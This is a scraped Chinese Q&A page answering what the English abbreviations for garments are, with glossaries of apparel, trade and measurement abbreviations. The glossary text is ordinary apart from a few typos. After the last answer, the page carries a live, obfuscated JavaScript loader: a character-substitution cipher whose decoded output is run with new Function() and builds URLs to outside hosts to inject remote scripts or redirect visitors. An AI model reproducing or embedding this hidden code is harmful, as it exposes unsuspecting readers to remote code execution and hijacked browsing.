服装英语的英语缩写

2024-11-14 14:50:22
推荐回答(3个)
回答1:

服装的英语通常用clothing,dress,但不常用缩写

clothing

英 [ˈkləʊðɪŋ]   美 [ˈkloʊðɪŋ] 

n.衣服;(尤指某种)服装

v.给…穿衣;为(某人)提供衣服

clothe的现在分词

dress

英 [dres]   美 [dres] 

n.连衣裙;衣服

v.穿衣服;给(某人)穿衣服;穿…的服装;穿正式服装

第三人称单数: dresses 复数: dresses 现在分词: dressing 过去式: dressed 过去分词: dressed

扩展资料:

词语辨析:Clothes   clothing    garment    dress    wear   gear以上各词均指衣服、服装。

clothes指衣服、服装

clothing

指衣服,尤指某种类型的服装:

clothing较clothes更正式,尤用以指某种类型的服装。

clothes或clothing无单数形式,指一件衣服用a piece/an item/an article of clothing

garment指一件衣服:

He was wearing a strange shapeless garment.

他穿着一件没样子的奇怪衣服。

garment只用于正式场合或文学语境,在日常生活中,一件衣服用a piece of clothing。

dress指着装、衣着,尤指某种样式或某种场合穿的衣服:

We were allowed to wear casual dress on Fridays.

我们在星期五可以穿便服。

wear指某种用途或场合穿的衣服,尤指于商店售卖的衣服:

the children's wear department

童装部

gear( informal ) clothes 指衣服、服装:

Her friends were all wearing the latest gear (= fashionable clothes) .

她的朋友都穿着最新款的衣服。

参考资料:百度翻译-clothing

百度翻译-dress

回答2:

CORD  CORDUROY 灯心绒

CS  COMMERCIAL STANDARDS 商业标准

CTN  COTTON 棉

CTN NO  CARTON NO 纸箱编号

D  DENIER 旦

D & K  DAMAGED & KEPT 染厂对疵布的认赔

D B  DOUBLE-BREASTED 双襟

D/Y DELIVERY 出货, 交付

DBL DOUBLE 双

DBL NDL DOUBLE NEEDLE 双针

DEPT DEPARTMENT 部门

DK  DARK 深色

DOZ  DOZEN 打

EG  EXAMPLI GRATIA / FOR EXAMPLE 例如

EL ELBOW LINE 手肘线

EMB  EMBROIDERY 绣花, 车花

ETC  ET CETERA=AND SO FORTH 等等

EXP  EXPORT 出口

F  FRONT 前

FAB  FABRIC 布料

FAQ FAIR AVERAGE QUALITY 中等品

FB FREIGHT BILL 装货清单

FNP FRONT NECK POINT 前颈点

FOB FREE ON BOARD 离岸价

FQC FIELD QUALITY CONTROL 现场质量控制

FTY  FACTORY 工厂

G  GREEN 绿色

GW  GROSS WEIGHT 毛重

GL GRAIN LINE 布纹

扩展资料:

服装英语术语,是用于服装行业的专业英语。作为纺织服装出口大国,服装英语的应用已经非常广泛,但服装英语没有统一的固定的翻译准则,造成相同部位或相同面料有很多种翻译。需要汇总分类,以便触类旁通。

分类:

1、Fabric

french terry    毛圈布;鱼鳞布    

fleece    单面绒    

jersey    单面布;汗布    

interlock    双面布    

rib    罗文    

2、Accessory

button    纽扣    

snap    按扣    

参考资料来源:百度百科-服装英语术语

回答3:

A & E=American & Efird, Inc.美国线业公司
A/H,A.H.=armhole 袖窿,[粤]夹圈
a/c,acc.=account 帐单,账目
a/w.,aw=actual weight 实际重量
ABS=area bounded staple fabric 面粘非织造布
add.=address 地址
ADL=acceptable defect level 允许疵点标准
agt.=agent 代理商,代理人
amt.=amount 总计,合计,总额
AOP=all over printing 全身印花
approx.=approximately 约计
AQL=acceptable quality level 质量接受标准
ar.=around 大约
art.=article [欧洲]款式
asap.=as soon as possible 尽快
ATTN.=attention 注意,收件人
aud.=audit 稽核
av.=average 平均
awb. no.=air way bill no. 运单号
B.=back 后
B.=bust (女)胸围
B.L.=back length 后长
B.N.P.=back neck point 后颈点
BNT=back neck tape 后领滚
B.P.=bust point 胸高点,乳峰点
B.T.=bust top 乳围
B.W.=back width 后背宽
b/l=bill of lading 提单,提货单
bk.=black 黑色
BMS.=body measurement system 人体尺寸测量系统
BMT.=basic motion time 基本动作时间
BNL.=back neckline 后领口
BNP,BNPT.=back neck point 后颈点
BOC=Bank of China 中国银行
BOM=bill of material 物料表
BP=backpack 背包
BRT=barrier removal team 障碍排除小组
BSP.=back shoulder point 后肩颈点
BTM.=bottom 下摆
BTN.=button 钮扣
bx.=boxes 箱,盒
c.&d. =collected and delivered 货款两清
C.=chest (男)胸围
C.A.D.=cash against documents 凭单据付款
C.B.,C/B=centre back 后中
C.F.,C/F =centre front 前中
C.F.,C&F=coat and freight离岸加运费价格
CFT=cross function team 跨功能小组
C.P.L.=collar point length 领尖长
C.V.C.=chief value of cotton 以棉为主的混纺物
c/d.=certificate of delivered 交货证明书
C/O,C.O.=country of origin 原产国,产地证
c/o label,coo. label=country of origin label 产地唛
CAD=computer aided design 电脑辅助设计
CAE=computer aided engineering 电脑辅助工程
CAL=computer aided layout 电脑辅助排料
CAM=computer aided manufacture 电脑辅助制造
CAP=computer aided pattern 电脑辅助画样
ca.=circa 大约
cat.=catalogue (产品)目录
cbd.=cash before delivery 付款交货
CBL.=center back line 后中线
CBM=cubic meter 立方米
CBN-W=center back neck point to waist 后颈点至腰
CECF=chine export commodities fair中国出口商品交易会(广交会)
cell.=cellular phone 手机
cert.=certificate 证书,执照
CFS.=container freight station 走拼箱
CI=corporate identify 企业标识
CIF =cost,insurance & freight 到岸价
CNY=Chinese new year春节(中国新年),China Yuan 人民币
col.,clr.=color 颜色
CMPT.=cut,make,pack,trim 裁剪+车缝+包装+辅料
CMT.=cut,make,trimmings 来料加工(裁剪+车缝+辅料)
cord.=corduroy 灯芯绒
CS=commercial standards 商业标准
C/No.,CTN. No.=carton no. 箱号
CY.=container yard 走整柜
d. & k.=damaged & kept 染厂对疵布的认赔
d.=denier 旦
DC=distribution center 配送中心
d/y=delivery 出货,交付
dbl.=double 双
dbl. ndl.=double needles双针
dept.=department 部门
dk.=dark 深色
DL=Decorative label 主唛
doz.=dozen 打
DS=Detail Sketch 细节图
DTM=dye to match 配色
dtmsa.=dye to match surrounding area 配所在部位颜色
e.g.=[拉丁]exampli gratia,for example 例如
e.p.=elbow point 肘点
emb.=embroidery 绣花,[粤]车花
eq.=excluding quota 不包括配额
eta.=estimated to arrival,estimated time of arrival 预计到达时间
etc.=[拉丁]et cetera等等
etd.=estimated to departure 预计开船时间
etd.=estimated time of delivery 预计出货时间
exp.=export 出口
ext.=extension number分机号
F.=front 前
F.L.=front length 前长
F.N.P.=front neck point 前颈点
F.O.A.=feed off arm 埋夹
FAB.=fabric 布料
faq.=fair average quality 中等品
fb.=freight bill 装货清单
FCL.=full container load 走整柜
FFM=fully fashion mark
fluo.=fluorescence 荧光
FNP.=front neck point 前颈点
FOB .=free on board 离岸价
FYR.=for your reference 供参考
FQC.=field quality control 现场质量控制
FTY.=factory 工厂
fyi. =for your information
G.W.=gross weight 毛重
GBP=great britain pound 英镑
GL.=grain line 丝缕,[粤]布纹
GOH.=garment on hanger 走挂装
H.=hip 坐围
H&L=hook & loop 尼龙搭扣
h/s=(洗水)手擦
H/L=hand loom 手织样
HPS=high point of shoulder 高肩点
HSP=high shoulder point 高肩点
HTM=how to measure 量度方法
imag. line=imaginary line 参考线
in.=inch 英寸
iq.=including quota 包括配额
irre. L/C=irrevocable L/C 不可撤销 信用证
jkt.=jacket 夹克
K.=knit 针织
L.=large 大号
L.=left 左
L.=length 长度
L=ligne 莱尼,号。纽扣直径大小单位,40号=1英寸
l.g.=length grain 经向,直纹
L/C=letter of credit 信用证
L/D=lab dip 色卡,色咭,色样
L/G=letter of guarantee 担保证
L/S=long sleeve 长袖
lb.=pound 磅
lbl.=label 唛头,商标
L/H=lable & hangtag 唛头和吊牌
LCL.=loose/less container loading 拼柜
LO=Liaison Office
LOA.=length over all 全长
LSAW.=left side as weared穿起计左侧骨
M.=medium 中码
M/B=must be 必须
M/C=machine 机械
mat.=material 物料
meas.=measurement 尺寸
mkt.=market 市场
MLB=Major League Baseball美国全国棒球协会和盟国棒球协会
mmts.=measurements 尺寸
mop.=mother of peral 贝壳钮
n. to w.=n.-w.=nape to waist 腰直(后颈点到腰线的距离)
n.=neck 领,颈
n.p.=neck point 肩颈点
n.s.p.=neck shoulder point 颈肩点
N/A=not available 资料不全,信息不全
N.Y.=New York纽约
NYC=New York City纽约市
ndl.=needle 针
nil.=nothing 无
nk.=neck颈圈
o.s.=outside seam 外长
O/L=overlock 拷边,锁边,[粤]钑骨
o/n=order no. 定单号
OJT.=on-the-job training 在职 培训
OPA=outward processing arrangement,在中国大陆做裁剪、零碎件的车缝、整烫、包装。埋夹等主要工序在HK完成。这样就可算是Made in HK。
OPT.=option 选项
os.=over size 超大号
OWA=outlook web access
ovrlk.=overlock 拷边,锁边,[粤]钑骨
P/D=piece dyeing 匹染
p.o. no.=production order no. 生产制造单编号
p.o.b.=post office box 邮箱
p.p.=paper pattern 纸样
PPS,p.p. sample=pre-production sample产前样
P.S.I.=per square inch 每平方英寸
p.w.=point width 乳间宽,乳中
pb.=private brand 个人商标
pc.=price 价格
PC=piece 件,个
pcs.=pieces 件,个(复数)
PJM=Project Manager
pkg.=package 包装
pkt.=pocket 口袋
pls.=please 请
PM=Product Manager
pt.=pnt.=point 点
PO=purchase order 定购单
P-O-R=product-o-rial system 吊挂系统
pos.=position 位置
px.=price 价格,价钱
QC=quality control 质量控制
QC=quality controller 质量控制员
QLY.=quality 质量
QPL.=qualified products list 合格产品目录
QTY.=quantity 数量
R.=right 右
RRP=recommended retail price 建议零售价
R.S.=right side 正面
R.T.W.=ready to wear 成衣
ref.=reference 参考,参照
rej.=reject 拒绝
RVRT=revert 回复
rm.=room 场所
rn.=reference number 参考号
S=small 小码
s.=sleeve 袖
S.A.=seam allowance 缝头,缝份,[粤]止口,子口
SNP.=shoulder neck point 肩颈点S.P.=shoulder point 肩点,肩端点
S.P.I.=stitch per inch 每英寸针数
S.P.M.=stitch per minute 每分钟线迹数
s.s.=sleeve slope 肩斜
S.S.P.=shoulder sleeve point 肩袖点
s/b=should be 应该
S/O=strike off 印花样,手刮样
s/s=short sleeve 短袖
s/y=sample yardage 样布,布样,[粤]办布,办布
sgl. ndl.=single needle 单针
sku.=stock keeping unit
slv.=sleeve 袖子
spl.=smpl.=sample 样衣,样品,[粤]办
snl.=single 单,一个
spec.=specification 规格
sq. ft.=square feet 平方英尺
sty.=style 款式
sz.=size尺码
t-s=t-shirt T恤
t/p=teck pack 技术档案。客人给你做样板的资料,通常包括款式图、工艺要求、尺寸等。
t/s=top stitch 明线
t/t=telegraphic transfer 电汇
TBA=to be advised 待复
TBC=to be confirmed 待确认
TBD=to be determined,to be decided 待定
THC=terminal handling charges 码头操作费
TIT=tone in tone 同色调配色。色系指的是不同的颜色群组,如红色系(大红,粉红,桃红等等)、蓝色(天蓝,水蓝等等)。
TOT=tone on tone同色系配色。色调指的是颜色给人的感觉,如冷色调(淡蓝色等)和暖色调(红色等)。
TNF=The North Face 一个户外品牌
TQC=total quality control全面质量控制
TQM=total quality management全面质量管理
upc=universal product code 通用产品码,通用货单代码
W=woven 梭织
w.=waist 腰围
w.=width 宽度
w.b.,w/b=waistband 裤头
W.I.P.=work in process 半成品
W.S.=wrong side 反面
w/=with
W/O=without 没有,不
W/R=water repellent 防泼水,拨水
W/P=waterproof 防水
WHK=whisker (洗水)猫须
WMSP.=workmanship 手工,车工
wt.=weight 重量
XL=extra large 加大号,特大号
XXL=extra extra large 超特大号
yd.=yardage 码数
YPD=yardage per dozen 每打衣服用量(单位为码)
PET,PETE=polyethylene terephthalate聚对苯二甲酸乙二醇酯
HDPE,PE-HD=high density polyethylene高密度聚乙烯
PVC=polyvinyl chloride 聚氯乙烯
LDPE,PE-LD=low density polyethylene低密度聚乙烯
PP=polypropylene 聚丙烯
PS=polystyrene 聚苯乙烯
Y/D=yarn dye色织

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();